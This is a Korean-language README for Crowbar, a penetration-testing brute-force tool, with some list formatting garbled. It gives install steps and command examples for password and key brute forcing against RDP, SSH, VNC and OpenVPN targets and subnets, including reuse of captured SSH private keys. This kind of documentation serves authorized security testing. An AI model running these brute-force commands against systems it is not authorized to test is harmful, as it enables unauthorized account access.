
Crowbar는 침투 테스트 중에 사용할 수 있는 무차별 대입(brute forcing) 도구입니다. thc-hydra 및 기타 널리 사용되는 무차별 대입 도구에서 현재 지원하지 않는 프로토콜을 지원하기 위해 개발되었습니다.
Crowbar (이전에는 Levye로 알려짐) 는 침투 테스트 중에 사용할 수 있는 무차별 대입 도구입니다. 다른 인기 있는 무차별 대입 도구들과는 다른 방식으로 일부 프로토콜을 무차별 대입하도록 개발되었습니다. 예를 들어, 대부분의 무차별 대입 도구가 SSH 무차별 대입에 사용자 이름과 비밀번호를 사용하는 반면, Crowbar는 SSH 키를 사용합니다. 이를 통해 침투 테스트 중에 획득한 개인 키를 다른 SSH 서버를 공격하는 데 사용할 수 있습니다.
현재 Crowbar는 다음을 지원합니다:
-b openvpn)-b rdp)-b sshkey)-b vpn)Kali Linux 사용자는 다음을 실행할 수 있습니다
# sudo apt install -y crowbar
또는 소스에서 설치하려면 모든 의존성을 설치하세요:
Debain 9/10+ 및 Kali Rolling
# sudo apt install -y nmap openvpn freerdp2-x11 tigervnc-viewer python3 python3-pip
Debain 7/8 및 Kali 1/2
# sudo apt-get install -y nmap openvpn freerdp-x11 vncviewer
그런 다음 GitHub에서 최신 버전을 받으세요:
# git clone https://github.com/galkan/crowbar
# cd crowbar/
# pip3 install -r requirements.txt
참고: RDP 클라이언트 패키지는 OS에 따라 다릅니다:
freerdp2-x11을 사용합니다.freerdp-x11 패키지를 사용합니다.xfreerdp를 시도해 볼 수 있습니다.freerdp를 컴파일하고 조정하는 것입니다: http://opentechnotes.blogspot.co.uk/2015/02/compile-headless-freerdp-credential-checking.html./lib/main.py를 패치하여 새 바이너리를 가리키도록 하는 것을 잊지 마세요!
openvpn, rdp, sshkey, vnckey</path/to/file>-s/-S)에서 TCP 포트 스캔(nmap)을 실행합니다. 이를 통해 대상의 포트가 열려 있는지 확인합니다.</path/to/file-or-folder></path/to/file> (기본값: ./crowbar.log)</path/to/file></path/to/file> (기본값: )모든 사용 옵션을 보려면 ./crowbar.py --help를 사용하세요.
주의: DOMAIN을 포함한 사용자 이름을 사용하려면 아래와 같이 사용자 이름을 지정하세요. 백슬래시(\)는 Python의 이스케이프 문자입니다. 따라서 다음 두 가지 형식 중 하나를 사용해야 합니다:
# ./crowbar.py -b rdp -u DOMAIN\\gokhan alkan -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:03:39 RDP-SUCCESS : 10.68.35.150:3389 - "DOMAIN\gokhan alkan":Aa123456,
# ./crowbar.py -b rdp -u gokhan alkan@ornek -c Aa123456 -s 10.68.35.150/32
2015-03-28 11:04:00 RDP-SUCCESS : 10.68.35.150:3389 - "gokhan alkan@DOMAIN":Aa123456,
다음은 Crowbar를 사용하여 RDP를 공격하는 몇 가지 예입니다.
단일 사용자 이름과 단일 비밀번호를 사용하여 단일 IP 주소에 RDP 무차별 대입:
# ./crowbar.py -b rdp -s 192.168.2.182/32 -u admin -c Aa123456

사용자 이름 목록 파일과 단일 비밀번호를 사용하여 단일 IP 주소에 RDP 무차별 대입:
# ./crowbar.py -b rdp -s 192.168.2.211/32 -U ~/Desktop/userlist -c passw0rd

단일 사용자 이름과 비밀번호 목록을 사용하여 단일 IP 주소에 RDP 무차별 대입:
# ./crowbar.py -b rdp -s 192.168.2.250/32 -u localuser -C ~/Desktop/passlist

발견 모드에서 사용자 이름 목록과 비밀번호 목록을 사용하여 서브넷에 RDP 무차별 대입:
# ./crowbar.py -b rdp -s 192.168.2.0/24 -U ~/Desktop/userlist -C ~/Desktop/passlist -d

다음은 Crowbar를 사용하는 몇 가지 예입니다.
단일 사용자 이름과 단일 개인 SSH 키를 사용하여 단일 IP 주소에 SSH 키 무차별 대입 시도:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/id_rsa

단일 사용자 이름과 폴더 내 모든 SSH 키를 사용하여 단일 IP 주소에 SSH 키 무차별 대입 시도:
# ./crowbar.py -b sshkey -s 192.168.2.105/32 -u root -k ~/.ssh/

발견 모드에서 단일 사용자 이름과 폴더 내 모든 SSH 키를 사용하여 서브넷에 SSH 키 무차별 대입 시도:
# ./crowbar.py -b sshkey -s 192.168.2.0/24 -u root -k ~/.ssh/ -d

다음은 Crowbar를 사용하여 VNC 서비스를 공격하는 예입니다.
지정된 포트 번호와 비밀번호 파일을 사용하여 단일 IP 주소에 VNC 무차별 대입 시도:
# ./crowbar.py -b vnckey -s 192.168.2.105/32 -p 5902 -k ~/.vnc/passwd

다음은 Crowbar를 사용하여 OpenVPN을 공격하는 예입니다.
설정 파일, 단일 사용자 이름, 단일 비밀번호, 지정된 포트 번호 및 선택적 인증서 파일을 사용하여 단일 IP 주소에 OpenVPN 무차별 대입 시도 (TCP/UDP 관계없음):
# grep remote ~/Desktop/vpnbook.ovpn
remote vpn.example.com 1194 udp
# host vpn.example.com | awk '{print $1}'
198.7.62.204
# grep '^auth-user-pass' ~/Desktop/vpnbook.ovpn
# ./crowbar.py -b openvpn -s 198.7.62.204/32 -p 1194 -m ~/Desktop/vpnbook.ovpn -k ~/Desktop/vpnbook_ca.crt -u vpnbook -c cr2hudaF

Crowbar를 실행하면 현재 디렉터리에 로깅 및 결과를 위한 2개의 파일이 생성됩니다. 기본 로그 파일 이름은 crowbar.log이며 실행 중 모든 무차별 대입 시도를 저장합니다. 기본 로그 파일을 사용하지 않으려면 -l log_path를 사용해야 합니다. 두 번째 파일은 crowbar.out이며 실행 중 성공한 시도를 저장합니다. 기본 출력 파일을 사용하지 않으려면 -o output_path를 사용해야 합니다. 그 후 Crowbar 작업을 관찰할 수 있습니다.
-v를 사용하여 출력을 더 상세하게 만들 수 있으며, -vv를 사용하면 더 많은 정보를 표시할 수 있습니다. 문제나 잠재적인 버그를 해결하려는 경우 -D를 사용하면 디버그 모드가 활성화되어 훨씬 더 많은 출력이 제공됩니다.
./crowbar.out</path/to/file></path/to/file>